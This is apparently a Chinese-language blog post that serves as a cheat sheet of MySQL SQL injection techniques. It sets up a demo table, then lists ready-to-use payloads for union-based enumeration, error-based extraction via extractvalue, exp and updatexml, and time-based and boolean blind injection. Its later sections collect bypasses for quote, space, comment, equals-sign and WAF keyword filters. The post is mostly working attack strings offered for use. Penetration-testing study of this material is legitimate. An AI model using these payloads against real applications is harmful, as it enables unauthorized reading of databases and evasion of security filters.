超全的SQL注入姿势总结

时间:2023-01-13 13:56:12

目录

常见姿势

环境搭建

信息收集

报错注入

延时注入

布尔注入

堆叠注入

绕过方法

绕过引号

or and xor not绕过

绕过注释符

内联注释绕过

类型转换绕过

=绕过

WAF绕过-应用层


常见姿势

超全的SQL注入姿势总结

环境搭建

use mysql;
create table if not exists my_table(
id int PRIMARY key auto_increment,
name VARCHAR(20),
age int);
insert into my_table values(NULL,'xiao',19);
insert into my_table values(NULL,'coleak',20);
insert into my_table values(NULL,'ayue',23);
select * from my_table;
select * from my_table where name='';

信息收集

  • 后台逻辑

select * from my_table where id='{变量}';

  • 判断闭合

添加引号看报错情况判断闭合的类型

a'

a"

  • 判断列数

1' order by 4#

  • 判断回显点

-1' union select 1,2,3#

  • 爆库名

-1' union select 1,database(),3#

1,mysql,3

  • 爆表名

-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='mysql'#

  • 爆列名

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='my_table'#

  • 爆数值

-1' union select 1,group_concat(0x7e,name,0x7e),3 from mysql.my_table#

  • 其他函数

system_user() 系统用户名

user() 用户名

current_user 当前用户名

session_user()连接数据库的用户名

database() 数据库名

version() MYSQL数据库版本

load_file() MYSQL读取本地文件的函数

@@datadir 读取数据库路径

@@basedir   MYSQL安装路径

@@version_compile_os 操作系统

多条数据显示函数:

concat()、group_concat()、concat_ws()

  • 扫描过滤

bp+sql关键词字典

代替词:{coelak}=(0-n),{coelak++}=(1-n)

报错注入

  • extractvalue函数

1' and extractvalue(1, concat(0x7e,(select @@version),0x7e))# (爆出版本号)

1' and extractvalue(1, concat(0x7e,(select @@version_compile_os),0x7e))# (爆出操作系统)

1' and extractvalue(1,concat(0x7e,@@datadir,0x7e))#

获取当前位置所用数据库的位置

1' and extractvalue(1, concat(0x7e,(select schema_name from information_schema.schemata limit {coleak},1),0x7e))#(爆数据库)

依次爆出每个数据库名字

1' and extractvalue(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='mysql' limit {coleak},1),0x7e))#(爆mysql数据库的数据表)

1' and extractvalue(1, concat(0x7e,(select column_name from information_schema.columns where table_name='my_table' limit {coleak},1),0x7e))#(爆表my_table的字段)

1' and extractvalue(1, concat(0x7e,(select concat(id,0x7e,name,0x7e,age) from mysql.my_table limit 0,1),0x7e))#(爆mytable的id,name,age数据)

  • exp函数 

exp函数溢出错误:

在mysql>5.5.53时,则不能返回查询结果

获取数据库名

1' and exp(~(select*from(select database())x))#

获取表名信息

1' and exp(~(select*from(select group_concat(table_name) from information_schema.tables where table_schema='mysql')x))#

1' and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a))#

获取列名信息

1' and exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')x))#

1' and exp(~(select * from (select column_name from information_schema.columns where table_name='my_table' limit 0,1)a))#

获取列名对应的信息

1' and exp(~(select*from(select group_concat(id,0x7e,name,0x7e,age) from test222.my_table)x))#

  • updatexml函数

细节问题: extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:(1,concat(select @@version),1),而extractvalue函数末尾不加1(数值)

1' and updatexml(1, concat(0x7e,(select schema_name from information_schema.schemata limit {coleak},1),0x7e),1)# (爆数据库)

1' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit {coleak},1),0x7e),1)#(爆数据表)

1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)# (爆字段)

1' and updatexml(1, concat(0x7e,(select concat(id,0x7e,name,0x7e,age) from test222.my_table limit 0,1),0x7e),1)#';(爆内容)

延时注入

1' and if(length(database())=7,sleep(10),1)#

爆出数据库:

1' and if(ascii(substr(database(),{coleak++},1))=115,1,sleep(10))#

1' and if(ascii(substr(database(),{coleak++},1))>115,1,sleep(10))#

爆出数据表:

1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="test222"limit 0,1),{coleak},1)))=101,sleep(5),1)#

(left语句判断)

1' and if(left(database(),1)='m',sleep(10),1) #

1' and if(left(database(),2)='my',sleep(10),1) #

布尔注入

Left判断数据库

1' and left(database(),1)='t' #

1' and left(database(),2) ='te' #

Like语句判断表名

1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'my_table'#

堆叠注入

见 [强网杯 2019]随便注

绕过方法

绕过空格

两个空格代替一个空格,用Tab代替空格,%a0=空格:

payload:

%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/

最基本的绕过方法,用注释替换空格: /* 注释 */

绕过引号

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。my_table的十六进制的字符串是6D795F7461626C65。那么最后的sql语句就变为了:

select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x6D795F7461626C65

超全的SQL注入姿势总结

 

or and xor not绕过

and=&& or=|| xor=| not=!

绕过注释符

(#,–(后面跟一个空格))过滤:

id=1' union select 1,2,3||'1

最后的or '1闭合查询语句的最后的单引号,或者:

id=1' union select 1,2,'3

内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。别和注释/*... */搞混了。

eg:union /*!select*/ 1,2

类型转换绕过

select * from my_table where name=0;

超全的SQL注入姿势总结

原理如下:

为什么查询name=0的数据时会将这些内容输出出来呢? 原因是mysql内在对比的时候进行了类型的转换,而字符串在转换为数字时,只会保留根据字符串开头的数字,如果第一位为字母而不是数字,则转换为0,而’9hehehehe’会被转换为9。

=绕过

不加通配符的like执行的效果和=一致,所以可以用来绕过。

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name like "users"

2)rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来,用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name rlike "users"

3)regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

eg:UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name regexp "users"

4)使用大小于号来绕过

eg:select * from users where id > 1 and id < 3

5)<> 等价于 !=,所以在前面再加一个!结果就是等号了

eg:select * from users where !(id <> 1)
————————————————
版权声明:本文为CSDN博主「渗透测试老鸟-九青」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/zkaqlaoniao/article/details/120948100

WAF绕过-应用层

大小写/关键字替换

  • id=1UnIoN/**/SeLeCT1,user()

  • Hex() bin() 等价于 ascii()

  • Sleep() 等价于 benchmark()

  • Mid() substring() 等价于substr()

  • @@user 等价于 User()

  • @@Version 等价于 version()

绕过:

AND -> &&

OR -> || / ^

= -> LIKE,REGEXP, BETWEEN, not < and not >,!<>

> X -> not between 0 and X

WHERE -> HAVING

手工盲注 1'||ascii(substr(database(),2,1))>='120

各种编码

大小写,URL,hex,%0A等

注释使用

//----+#//+:%00/!/等

再次循环

union==uunionnion

分块传输